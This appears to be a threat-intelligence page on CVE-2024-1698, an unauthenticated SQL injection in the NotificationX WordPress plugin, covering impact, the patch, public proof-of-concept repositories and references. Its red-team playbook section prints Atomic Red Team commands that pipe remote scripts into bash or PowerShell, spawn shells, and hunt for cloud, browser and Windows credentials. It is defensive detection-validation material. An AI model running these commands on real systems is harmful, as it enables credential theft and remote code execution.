CVE-2024-1698
Overview
This vulnerability is a SQL Injection affecting the NotificationX WordPress plugin up to version 2.8.2. The root cause is insufficient sanitization and escaping of the 'type' parameter in SQL queries, combined with inadequate query preparation. This flaw resides in the database interaction components responsible for handling user-supplied input within the plugin's analytics and notification features.
Vulnerability Description
The NotificationX – Best FOMO, Social Proof, WooCommerce Sales Popup & Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary SQL commands on the backend database, enabling unauthorized data extraction or manipulation. No user interaction or privileges are required, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. This can lead to exposure of sensitive customer or business data, compromising confidentiality and potentially affecting service integrity and availability.
Solution
Upgrade the NotificationX plugin to version 2.8.3 or later, where the SQL Injection vulnerability has been addressed by implementing proper input sanitization and prepared statements. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/e110ea99-e2fa-4558-bcf3-942a35af0b91) and WordPress plugin changelogs (changeset 3040809) for detailed patch information and update instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the NotificationX plugin for WordPress arises from a critical SQL Injection flaw, specifically linked to the 'type' parameter. This weakness stems from inadequate input sanitization and escaping mechanisms, allowing attackers to manipulate SQL queries executed by the application. When user input is not properly validated, it opens the door for malicious actors to inject arbitrary SQL code into existing queries. This can lead to unauthorized access to sensitive data stored in the database, including user credentials, payment information, and other confidential records. The vulnerability is particularly severe due to its potential for exploitation across all versions up to and including 2.8.2, making it a widespread risk for users of the plugin.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting unauthenticated users. An attacker could craft a malicious request that includes specially formatted input in the 'type' parameter, which the application would then process without adequate checks. For instance, an attacker might append additional SQL commands to extract data or manipulate the database structure. Scenarios could include retrieving lists of users, altering user permissions, or even deleting critical data. Given the nature of SQL Injection, the potential for exploitation is high, and the simplicity of the attack makes it accessible to individuals with minimal technical expertise.
The real-world impact of this vulnerability can be significant for businesses utilizing the affected plugin. Organizations may face severe reputational damage if sensitive customer data is compromised, leading to loss of trust and potential legal ramifications. Additionally, the financial implications can be substantial, including costs associated with incident response, remediation efforts, and potential fines from regulatory bodies. The high CVSS score of 9.8 indicates that this vulnerability poses a critical threat, underscoring the urgency for organizations to address it promptly. Failure to mitigate such vulnerabilities can result in long-term damage to a business's operational integrity and customer relationships.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments are essential to identify and address weaknesses in web applications. Utilizing web application firewalls (WAFs) can help filter out malicious requests and provide an additional layer of protection against SQL Injection attacks. Furthermore, developers should prioritize secure coding practices, including proper input validation and parameterized queries, to prevent similar vulnerabilities from being introduced in the future. Keeping all plugins and software up to date is crucial, as updates often include security patches that address known vulnerabilities.
In conclusion, the SQL Injection vulnerability in the NotificationX plugin represents a significant threat to WordPress users, particularly those operating e-commerce platforms. The ease of exploitation, combined with the potential for severe consequences, necessitates immediate attention from organizations relying on this plugin. By adopting robust security measures and fostering a culture of security awareness, businesses can better protect themselves against such vulnerabilities and safeguard their sensitive data from unauthorized access.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-1698, reflected by a significant uptick in detection activity across our sensors. This surge coincides with the emergence of multiple new proof-of-concept exploit scripts publicly available on code-sharing platforms, which demonstrate increasingly accessible methods for extracting WordPress administrator credentials via SQL injection in the NotificationX plugin. The stability of the EPSS score at a high percentile underscores the sustained exploitability of this vulnerability despite no rapid increase in risk level. For defenders, this development heightens the urgency to monitor for exploitation indicators closely, as the broadened availability of functional exploits lowers the barrier for threat actors, including opportunistic attackers and potentially more sophisticated adversaries, to compromise vulnerable WordPress installations. Consequently, the threat landscape surrounding CVE-2024-1698 has intensified, reinforcing its classification as a critical risk that demands continued vigilance.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpdeveloper | Notificationx | All |
cpe:2.3:a:wpdeveloper:notificationx:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
kamranhasan/CVE-2024-1698-Exploit
This is an exploit script to find out wordpress admin's username and password hash by exploiting CVE-2024-1698.
|
kamranhasan | 8 | 0 | 2024-03-29 | View |
|
jesicatjan/WordPress-NotificationX-CVE-2024-1698
|
jesicatjan | 1 | 0 | 2024-11-16 | View |
|
Dhananjayasj/CVE-2024-1698-NotificationX-WordPress-Plugin-SQL-Injection-to-Admin-Credential-Extraction
|
Dhananjayasj | 0 | 0 | 2026-06-04 | View |
|
shanglyu/CVE-2024-1698
|
shanglyu | 0 | 0 | 2024-10-14 | View |
Threat Feed
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Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-1698 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/e110ea99-e2fa-4558-bcf3-942a35af0b91?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Database.php |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3040809/notificationx/trunk/includes/Core/Rest/Analytics.php |
| vicarius.io |
NVD API
Exploit
Mitigation
Product
|
https://www.vicarius.io/vsociety/posts/decoding-the-unseen-threat-exploiting-cve-2024-1698-unauthenticated-sql-injection-in-notificationx-wordpress-plugin-from-basics-to-breach-a-comprehensive-guide-to-source-code-analysis-and-crafting-the-ultimate-exploit |